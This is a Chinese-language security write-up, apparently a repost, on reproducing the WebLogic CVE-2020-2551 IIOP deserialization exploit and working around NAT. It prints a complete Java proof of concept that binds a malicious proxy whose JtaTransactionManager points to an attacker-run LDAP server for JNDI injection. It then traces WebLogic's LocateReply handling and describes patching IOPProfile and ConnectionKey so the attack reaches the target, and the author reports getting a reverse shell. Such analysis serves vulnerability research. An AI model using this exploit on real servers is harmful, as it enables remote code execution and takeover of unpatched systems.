Weblogic CVE-2020-2551 绕过NAT网络分析
2022-11-10 10:14:0 Author: xz.aliyun.com(查看原文) 阅读量:53 收藏

前言

在复现Weblogic中的CVE过程中,针对IIOP协议的利用,有一个经典的CVE是CVE-2020-2551,在进行这个POC的构造过程中,发现我使用vmware虚拟机下使用docker搭建的weblogic服务

直接使用下面的POC

public class CVE_2020_2551 {
    public static <T> T createMemoitizedProxy(final Map<String,Object> map, final Class<T> iface,
                                              final Class<?> ... ifaces) throws Exception {
        return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
    }
    public static InvocationHandler createMemoizedInvocationHandler(final Map<String, Object> map) throws Exception {
        return (InvocationHandler) Reflections.getFirstCtor("sun.reflect.annotation.AnnotationInvocationHandler").newInstance(Override.class, map);
    }
    public static <T> T createProxy(final InvocationHandler ih, final Class<T> iface, final Class<?> ... ifaces) {
        final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);
        allIfaces[0] = iface;
        if (ifaces.length > 0) {
            System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
        }
        return iface.cast(Proxy.newProxyInstance(CVE_2020_2551.class.getClassLoader(), allIfaces , ih));
    }
    public static Map<String,Object> createMap(final String key, final Object val) {
        final Map<String,Object> map = new HashMap<String, Object>();
        map.put(key,val);
        return map;
    }
    public static void main(String[] args) throws Exception {
        String ip = "192.168.153.136";
        String port = "7001";
        Hashtable<String, String> env = new Hashtable<String, String>();
        env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
        env.put("java.naming.provider.url", String.format("iiop://%s:%s", ip, port));
        Context context = new InitialContext(env);
        // get Object to Deserialize
        JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
        jtaTransactionManager.setUserTransactionName("ldap://192.168.153.1:1389/5l7wz0");
        Remote remote = createMemoitizedProxy(createMap("pwned", jtaTransactionManager), Remote.class);
        context.bind("hello", remote);
    }
}

将会出现错误,报错了?

连接被拒绝

之后跟了一下逻辑

原因

我们根据报错的调用栈,可以定位在weblogic.iiop.EndPointImpl#send方法中

发送的是LocateRequest

该方法的调用是在sendReceive方法中

在发送了request请求之后,使用getReply方法处理response回复

调用栈为

send:1129, EndPointImpl (weblogic.iiop)
sendReceive:1168, EndPointImpl (weblogic.iiop)
sendReceive:1186, EndPointImpl (weblogic.iiop)
locateNameService:204, IORManager (weblogic.iiop)
createInitialReference:123, IORManager (weblogic.iiop)
string_to_object:341, ORB (weblogic.corba.orb)
resolve_initial_references:235, ORB (weblogic.corba.orb)
getORBReferenceWithRetry:588, ORBHelper (weblogic.corba.j2ee.naming)
getORBReference:559, ORBHelper (weblogic.corba.j2ee.naming)
getInitialContext:85, InitialContextFactoryImpl (weblogic.corba.j2ee.naming)
getInitialContext:33, iiopEnvironmentFactory (weblogic.factories.iiop)
getInitialContext:71, iiopEnvironmentFactory (weblogic.factories.iiop)
getContext:315, Environment (weblogic.jndi)
getContext:285, Environment (weblogic.jndi)
getInitialContext:117, WLInitialContextFactory (weblogic.jndi)
getInitialContext:684, NamingManager (javax.naming.spi)
getDefaultInitCtx:313, InitialContext (javax.naming)
init:244, InitialContext (javax.naming)
<init>:216, InitialContext (javax.naming)
main:43, CVE_2020_2551 (pers.weblogic)

IORManager#locateNameService方法中

在创建了一个LocateRequestMessage对象之后传入了sendReceive方法中进行发送LocateRequest对象,而在sendReceive中,返回的是var1.getReply

返回得到的是一个LocateReplyMessage对象,在locateNameService方法中调用needsForwarding返回了一个IOR对象

在其中的iopProfile属性中,得到的host / port分别为0.0.0.0 / 7001,这里0.0.0.0代表的是自己本机的地址,本机是没有开启weblogic服务的,这里就是导致使用虚拟机docker是不能直接利用的原因

之后就是调用resolveObject方法进行后续处理

改造

其中在上面提到的getReply方法的调用过程中,返回的是SequencedRequestMessage类的reply属性值

如果我们能够控制这里返回的reply属性的值,修改其中的host为带有weblogic服务的地址,就能够利用成功

在全局搜索reply之后,只有在notify方法中才有对应的赋值

我们在该方法位置打下断点之后调用栈为:

notify:25, SequencedRequestMessage (weblogic.iiop)
handleLocateReply:1056, EndPointImpl (weblogic.iiop)
processMessage:535, EndPointImpl (weblogic.iiop)
handleMessage:500, EndPointImpl (weblogic.iiop)
dispatch:324, EndPointImpl (weblogic.iiop)
dispatch:126, ConnectionManager (weblogic.iiop)
dispatch:298, MuxableSocketIIOP (weblogic.iiop)
dispatch:298, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:913, SocketMuxer (weblogic.socket)
readReadySocket:842, SocketMuxer (weblogic.socket)
processSockets:335, JavaSocketMuxer (weblogic.socket)
run:29, SocketReaderRequest (weblogic.socket)
execute:21, ExecuteRequestAdapter (weblogic.work)
execute:145, ExecuteThread (weblogic.kernel)
run:117, ExecuteThread (weblogic.kernel)

在这里为reply属性赋值的LocateReplyMessage对象的ior属性对象中的ioProfile属性中的host是0.0.0.0

根据前面的分析,我们知道我们需要将这个host指向带有weblogic服务的ip地址

所以我们向前追溯LocateReplyMessage类对象的实现

通过在调用栈中寻找,其出处是在weblogic.iiop.EndPointImpl#dispatch方法中得到的

通过调用createMsgFromStream方法得到LocateReplyMessage对象之后调用handleMessage方法处理该消息

跟进createMsgFromStream方法

根据消息的消息头进入不同的case子句,这里为case 4

创建了一个LocateReplyMessage对象,传入的参数分别是消息头和输入流对象

调用了read方法对数据进行解析

使用了IOR继续进行解析

最后调用的是Profile#read方法对数据进行处理

创建了一个ConnectionKey对象,其构造方法调用对应的read方法进行数据处理,在调用ConnectionKey#read方法对数据进行处理

获取到了对应的ip和对应的port

之后再在Profile#read方法中,调用var4.getAddress / var4.getPort方法获取ip / port

改造1

这里的var4变量没有什么特别的用处,只是获取了Address / Port数据,我们如果能够手动修改this.host为搭建有weblogic服务的address,就能够成功进行利用

所以我们需要重写IOPProfile类中的read方法

直接在项目文件下面创建一个weblogic.iiop的包,下面带有IOPProfile

其中的read方法

改造之后获取到的IOPProfile对象为

现在指向了正确的ip和port

本地搭建一个JNDI注入工具服务,监听本机的8000端口

运行前面提到的POC

成功反弹shell,使用这种方式是能够绕过NAT的

改造2

类似的上面的处理是在IOPProfile#read方法中

最初使用的是ConnectionKey对象的getAddress方法获取的ip地址,所以追其来源,是在ConnectionKey#read方法中获取数据中得到的,我们可以直接在这个位置进行处理

修改后的read方法为

值得注意的是这里是不能够直接进行赋值的,需要首先获取到0.0.0.0的ip地址之后进行覆盖操作

这种方法同样能够成功反弹shell

参考

https://www.r4v3zn.com/posts/b64d9185/


文章来源: https://xz.aliyun.com/t/11825
如有侵权请联系:admin#unsafe.sh